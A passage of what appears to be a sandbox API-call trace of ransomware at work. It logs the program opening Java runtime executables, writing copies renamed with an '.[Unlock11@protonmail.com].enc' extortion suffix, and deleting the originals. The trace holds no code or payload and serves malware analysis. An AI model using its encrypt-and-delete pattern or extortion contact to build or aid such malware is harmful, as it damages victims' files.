GetLastError () returned 0x0 [0125.197] GetLastError () returned 0x0 [0125.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652f8 [0125.197] GetLastError () returned 0x0 [0125.197] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.197] GetFileType (hFile=0x39c) returned 0x1 [0125.198] GetLastError () returned 0x0 [0125.198] GetCurrentThreadId () returned 0x9b0 [0125.198] GetLastError () returned 0x0 [0125.198] GetFileType (hFile=0x39c) returned 0x1 [0125.198] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.198] GetLastError () returned 0x0 [0125.199] GetCurrentThreadId () returned 0x9b0 [0125.199] GetLastError () returned 0x0 [0125.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0125.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0125.199] GetLastError () returned 0x0 [0125.199] GetLastError () returned 0x0 [0125.199] GetLastError () returned 0x0 [0125.199] GetLastError () returned 0x0 [0125.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0125.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265438 [0125.199] GetLastError () returned 0x0 [0125.199] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.200] GetFileType (hFile=0x3ac) returned 0x1 [0125.200] GetLastError () returned 0x0 [0125.200] GetCurrentThreadId () returned 0x9b0 [0125.200] GetLastError () returned 0x0 [0125.200] GetFileType (hFile=0x3ac) returned 0x1 [0125.200] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.201] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.201] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.201] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.201] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.201] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.201] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.201] GetLastError () returned 0x0 [0125.201] GetCurrentThreadId () returned 0x9b0 [0125.201] GetLastError () returned 0x0 [0125.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0125.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0125.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.202] GetLastError () returned 0x0 [0125.202] GetLastError () returned 0x0 [0125.202] GetCurrentThreadId () returned 0x9b0 [0125.202] GetLastError () returned 0x0 [0125.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.202] GetLastError () returned 0x0 [0125.202] GetLastError () returned 0x0 [0125.202] GetCurrentThreadId () returned 0x9b0 [0125.202] GetLastError () returned 0x0 [0125.202] GetLastError () returned 0x0 [0125.204] GetLastError () returned 0x0 [0125.204] GetCurrentThreadId () returned 0x9b0 [0125.204] GetLastError () returned 0x0 [0125.204] GetCurrentThreadId () returned 0x9b0 [0125.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265448 [0125.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x381b008 [0125.205] GetLastError () returned 0x0 [0125.205] GetLastError () returned 0x0 [0125.205] GetLastError () returned 0x0 [0125.205] GetLastError () returned 0x0 [0125.205] GetCurrentThreadId () returned 0x9b0 [0125.205] GetLastError () returned 0x0 [0125.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0125.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.206] GetLastError () returned 0x0 [0125.207] GetLastError () returned 0x0 [0125.207] GetCurrentThreadId () returned 0x9b0 [0125.207] GetLastError () returned 0x0 [0125.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.207] GetLastError () returned 0x0 [0125.207] GetLastError () returned 0x0 [0125.207] GetCurrentThreadId () returned 0x9b0 [0125.208] GetLastError () returned 0x0 [0125.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.208] GetLastError () returned 0x0 [0125.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.208] CloseHandle (hObject=0x3ac) returned 1 [0125.208] GetLastError () returned 0x0 [0125.209] GetCurrentThreadId () returned 0x9b0 [0125.209] GetLastError () returned 0x0 [0125.209] GetLastError () returned 0x0 [0125.209] CloseHandle (hObject=0x39c) returned 1 [0125.209] GetLastError () returned 0x0 [0125.209] GetCurrentThreadId () returned 0x9b0 [0125.209] GetLastError () returned 0x0 [0125.209] GetCurrentThreadId () returned 0x9b0 [0125.209] GetLastError () returned 0x0 [0125.209] GetLastError () returned 0x0 [0125.209] GetLastError () returned 0x0 [0125.210] GetLastError () returned 0x0 [0125.210] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1 [0125.211] GetLastError () returned 0x0 [0125.211] GetCurrentThreadId () returned 0x9b0 [0125.211] GetLastError () returned 0x0 [0125.211] GetLastError () returned 0x0 [0125.211] GetLastError () returned 0x0 [0125.212] GetLastError () returned 0x0 [0125.212] GetLastError () returned 0x0 [0125.212] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", lpFilePart=0x9bada4*="servertool.exe") returned 0x35 [0125.212] GetCurrentThreadId () returned 0x9b0 [0125.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c6018 [0125.212] GetLastError () returned 0x0 [0125.213] GetLastError () returned 0x0 [0125.213] GetLastError () returned 0x0 [0125.213] GetLastError () returned 0x0 [0125.213] GetCurrentThreadId () returned 0x9b0 [0125.213] GetLastError () returned 0x0 [0125.213] GetCurrentThreadId () returned 0x9b0 [0125.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6018 | out: hHeap=0x2ad0000) returned 1 [0125.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c6018 [0125.213] GetLastError () returned 0x0 [0125.213] GetLastError () returned 0x0 [0125.213] GetLastError () returned 0x0 [0125.214] GetLastError () returned 0x0 [0125.214] GetCurrentThreadId () returned 0x9b0 [0125.214] GetLastError () returned 0x0 [0125.214] GetLastError () returned 0x0 [0125.214] GetLastError () returned 0x0 [0125.214] GetLastError () returned 0x0 [0125.214] GetLastError () returned 0x0 [0125.214] GetCurrentThreadId () returned 0x9b0 [0125.214] GetLastError () returned 0x0 [0125.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6018 | out: hHeap=0x2ad0000) returned 1 [0125.214] GetLastError () returned 0x0 [0125.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0125.215] GetLastError () returned 0x0 [0125.215] GetLastError () returned 0x0 [0125.215] GetLastError () returned 0x0 [0125.215] GetCurrentThreadId () returned 0x9b0 [0125.215] GetLastError () returned 0x0 [0125.215] GetCurrentThreadId () returned 0x9b0 [0125.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a4e8 [0125.215] GetLastError () returned 0x0 [0125.215] GetLastError () returned 0x0 [0125.215] GetLastError () returned 0x0 [0125.216] GetLastError () returned 0x0 [0125.216] GetCurrentThreadId () returned 0x9b0 [0125.216] GetLastError () returned 0x0 [0125.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0125.216] GetLastError () returned 0x0 [0125.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0125.216] GetLastError () returned 0x0 [0125.216] GetLastError () returned 0x0 [0125.216] GetLastError () returned 0x0 [0125.216] GetCurrentThreadId () returned 0x9b0 [0125.216] GetLastError () returned 0x0 [0125.217] GetLastError () returned 0x0 [0125.217] GetLastError () returned 0x0 [0125.217] GetLastError () returned 0x0 [0125.217] GetLastError () returned 0x0 [0125.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.217] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.217] GetLastError () returned 0x0 [0125.217] GetCurrentThreadId () returned 0x9b0 [0125.217] GetLastError () returned 0x0 [0125.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.218] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b50c | out: pbBuffer=0x366b50c) returned 1 [0125.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0125.218] GetCurrentThreadId () returned 0x9b0 [0125.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0125.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0125.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.218] GetLastError () returned 0x0 [0125.218] GetLastError () returned 0x0 [0125.218] GetLastError () returned 0x0 [0125.219] GetLastError () returned 0x0 [0125.219] GetCurrentThreadId () returned 0x9b0 [0125.219] GetLastError () returned 0x0 [0125.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.219] GetCurrentThreadId () returned 0x9b0 [0125.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e38 [0125.219] GetLastError () returned 0x0 [0125.219] GetLastError () returned 0x0 [0125.219] GetLastError () returned 0x0 [0125.219] GetLastError () returned 0x0 [0125.220] GetCurrentThreadId () returned 0x9b0 [0125.220] GetLastError () returned 0x0 [0125.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e38 | out: hHeap=0x2ad0000) returned 1 [0125.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0125.220] GetCurrentThreadId () returned 0x9b0 [0125.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0125.220] GetLastError () returned 0x0 [0125.220] GetLastError () returned 0x0 [0125.220] GetLastError () returned 0x0 [0125.220] GetLastError () returned 0x0 [0125.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653f8 [0125.221] GetLastError () returned 0x0 [0125.221] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.221] GetFileType (hFile=0x39c) returned 0x1 [0125.221] GetLastError () returned 0x0 [0125.221] GetCurrentThreadId () returned 0x9b0 [0125.221] GetLastError () returned 0x0 [0125.221] GetFileType (hFile=0x39c) returned 0x1 [0125.221] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.222] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.222] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.222] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.222] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.222] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.222] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.222] GetLastError () returned 0x0 [0125.222] GetCurrentThreadId () returned 0x9b0 [0125.222] GetLastError () returned 0x0 [0125.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653f8 | out: hHeap=0x2ad0000) returned 1 [0125.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0125.222] GetLastError () returned 0x0 [0125.223] GetLastError () returned 0x0 [0125.223] GetLastError () returned 0x0 [0125.223] GetLastError () returned 0x0 [0125.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653c8 [0125.223] GetLastError () returned 0x0 [0125.223] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.224] GetFileType (hFile=0x3ac) returned 0x1 [0125.224] GetLastError () returned 0x0 [0125.224] GetCurrentThreadId () returned 0x9b0 [0125.224] GetLastError () returned 0x0 [0125.224] GetFileType (hFile=0x3ac) returned 0x1 [0125.224] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.224] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.224] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.224] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.224] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.225] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.225] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.225] GetLastError () returned 0x0 [0125.225] GetCurrentThreadId () returned 0x9b0 [0125.225] GetLastError () returned 0x0 [0125.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0125.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0125.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.225] GetLastError () returned 0x0 [0125.225] GetLastError () returned 0x0 [0125.226] GetCurrentThreadId () returned 0x9b0 [0125.226] GetLastError () returned 0x0 [0125.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.226] GetLastError () returned 0x0 [0125.226] GetLastError () returned 0x0 [0125.226] GetCurrentThreadId () returned 0x9b0 [0125.226] GetLastError () returned 0x0 [0125.226] GetLastError () returned 0x0 [0125.228] GetLastError () returned 0x0 [0125.228] GetCurrentThreadId () returned 0x9b0 [0125.228] GetLastError () returned 0x0 [0125.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x381b008 [0125.228] GetLastError () returned 0x0 [0125.228] GetLastError () returned 0x0 [0125.229] GetLastError () returned 0x0 [0125.229] GetLastError () returned 0x0 [0125.229] GetCurrentThreadId () returned 0x9b0 [0125.229] GetLastError () returned 0x0 [0125.229] GetCurrentThreadId () returned 0x9b0 [0125.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4055) returned 0x35c0a00 [0125.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0125.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.229] GetLastError () returned 0x0 [0125.230] GetLastError () returned 0x0 [0125.231] GetCurrentThreadId () returned 0x9b0 [0125.231] GetLastError () returned 0x0 [0125.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.231] GetLastError () returned 0x0 [0125.231] GetLastError () returned 0x0 [0125.231] GetCurrentThreadId () returned 0x9b0 [0125.231] GetLastError () returned 0x0 [0125.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.232] GetLastError () returned 0x0 [0125.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.232] CloseHandle (hObject=0x3ac) returned 1 [0125.232] GetLastError () returned 0x0 [0125.232] GetCurrentThreadId () returned 0x9b0 [0125.232] GetLastError () returned 0x0 [0125.232] GetLastError () returned 0x0 [0125.232] CloseHandle (hObject=0x39c) returned 1 [0125.233] GetLastError () returned 0x0 [0125.233] GetCurrentThreadId () returned 0x9b0 [0125.233] GetLastError () returned 0x0 [0125.233] GetLastError () returned 0x0 [0125.233] GetLastError () returned 0x0 [0125.233] GetLastError () returned 0x0 [0125.233] GetLastError () returned 0x0 [0125.233] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1 [0125.234] GetLastError () returned 0x0 [0125.235] GetCurrentThreadId () returned 0x9b0 [0125.235] GetLastError () returned 0x0 [0125.235] GetLastError () returned 0x0 [0125.235] GetLastError () returned 0x0 [0125.235] GetLastError () returned 0x0 [0125.235] GetLastError () returned 0x0 [0125.235] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll", lpFilePart=0x9bada4*="splashscreen.dll") returned 0x37 [0125.235] GetCurrentThreadId () returned 0x9b0 [0125.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0125.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0125.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.236] GetCurrentThreadId () returned 0x9b0 [0125.236] GetLastError () returned 0x0 [0125.236] GetLastError () returned 0x0 [0125.236] GetLastError () returned 0x0 [0125.236] GetLastError () returned 0x0 [0125.236] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll", lpFilePart=0x9bada4*="ssv.dll") returned 0x2e [0125.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0125.237] GetCurrentThreadId () returned 0x9b0 [0125.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0125.237] GetLastError () returned 0x0 [0125.237] GetLastError () returned 0x0 [0125.237] GetLastError () returned 0x0 [0125.237] GetLastError () returned 0x0 [0125.237] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", lpFilePart=0x9bada4*="ssvagent.exe") returned 0x33 [0125.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0125.237] GetCurrentThreadId () returned 0x9b0 [0125.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0125.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e38 [0125.238] GetLastError () returned 0x0 [0125.238] GetLastError () returned 0x0 [0125.238] GetLastError () returned 0x0 [0125.238] GetLastError () returned 0x0 [0125.238] GetCurrentThreadId () returned 0x9b0 [0125.238] GetLastError () returned 0x0 [0125.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e38 | out: hHeap=0x2ad0000) returned 1 [0125.238] GetCurrentThreadId () returned 0x9b0 [0125.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.239] GetLastError () returned 0x0 [0125.239] GetLastError () returned 0x0 [0125.239] GetLastError () returned 0x0 [0125.239] GetLastError () returned 0x0 [0125.239] GetCurrentThreadId () returned 0x9b0 [0125.239] GetLastError () returned 0x0 [0125.239] GetLastError () returned 0x0 [0125.239] GetLastError () returned 0x0 [0125.239] GetLastError () returned 0x0 [0125.240] GetLastError () returned 0x0 [0125.240] GetCurrentThreadId () returned 0x9b0 [0125.240] GetLastError () returned 0x0 [0125.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.240] GetLastError () returned 0x0 [0125.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0125.240] GetLastError () returned 0x0 [0125.240] GetLastError () returned 0x0 [0125.240] GetLastError () returned 